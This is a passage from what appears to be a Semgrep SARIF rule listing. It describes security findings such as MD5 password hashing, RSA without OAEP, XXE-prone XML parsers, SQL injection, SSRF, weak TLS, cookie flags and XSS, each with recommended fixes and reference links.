`SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://docs.oracle.com/javase/7/docs/technotes/guides/security/StandardNames.html#SecretKeyFactory](https://docs.oracle.com/javase/7/docs/technotes/guides/security/StandardNames.html#SecretKeyFactory)\n - [https://docs.spring.io/spring-security/site/docs/current/api/org/springframework/security/crypto/bcrypt/BCryptPasswordEncoder.html](https://docs.spring.io/spring-security/site/docs/current/api/org/springframework/security/crypto/bcrypt/BCryptPasswordEncoder.html)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"java.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"java.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using RSA without OAEP mode weakens the encryption."},"help":{"markdown":"Using RSA without OAEP mode weakens the encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding)\n - [https://rdist.root.org/2009/10/06/why-rsa-encryption-padding-is-critical/](https://rdist.root.org/2009/10/06/why-rsa-encryption-padding-is-critical/)\n","text":"Using RSA without OAEP mode weakens the encryption."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","id":"java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","name":"java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.no-null-cipher.no-null-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","id":"java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","name":"java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.no-null-cipher.no-null-cipher"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure transmission channel. 'URLopener.open(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"help":{"markdown":"Detected an insecure transmission channel. 'URLopener.open(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open)\n","text":"Detected an insecure transmission channel. 'URLopener.open(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring","id":"java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring","name":"java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe.xmlreader-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe.xmlreader-xxe","id":"kotlin.xxe.xmlreader-xxe.xmlreader-xxe","name":"kotlin.xxe.xmlreader-xxe.xmlreader-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.xmlreader-xxe.xmlreader-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request","id":"java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request","name":"java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx","id":"python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx","name":"python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS CloudFront Distribution with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `minimum_protocol_version` to `\"TLSv1.2_2018\", \"TLSv1.2_2019\" or \"TLSv1.2_2021\"`."},"help":{"markdown":"Detected an AWS CloudFront Distribution with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `minimum_protocol_version` to `\"TLSv1.2_2018\", \"TLSv1.2_2019\" or \"TLSv1.2_2021\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an AWS CloudFront Distribution with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `minimum_protocol_version` to `\"TLSv1.2_2018\", \"TLSv1.2_2019\" or \"TLSv1.2_2021\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version","id":"terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version","name":"terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false","id":"python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false","name":"python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.xss.formatted-template-string-taint.formatted-template-string-taint)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.net.xss.formatted-template-string-taint.formatted-template-string-taint","id":"go.net.xss.formatted-template-string-taint.formatted-template-string-taint","name":"go.net.xss.formatted-template-string-taint.formatted-template-string-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.xss.formatted-template-string-taint.formatted-template-string-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Xml Parser is used inside Request Event. Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"Xml Parser is used inside Request Event. Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event)\n - [https://www.npmjs.com/package/xml2json](https://www.npmjs.com/package/xml2json)\n","text":"Xml Parser is used inside Request Event. Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event","id":"javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event","name":"javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.aws-lambda.security.tainted-sqli.tainted-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"helpUri":"https://semgrep.dev/r/java.aws-lambda.security.tainted-sqli.tainted-sqli","id":"java.aws-lambda.security.tainted-sqli.tainted-sqli","name":"java.aws-lambda.security.tainted-sqli.tainted-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.aws-lambda.security.tainted-sqli.tainted-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `httpOnly` not set. It ensures the cookie is sent only over HTTP(S), not client JavaScript, helping to protect against cross-site scripting attacks."},"help":{"markdown":"Default session middleware settings: `httpOnly` not set. It ensures the cookie is sent only over HTTP(S), not client JavaScript, helping to protect against cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `httpOnly` not set. It ensures the cookie is sent only over HTTP(S), not client JavaScript, helping to protect against cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath 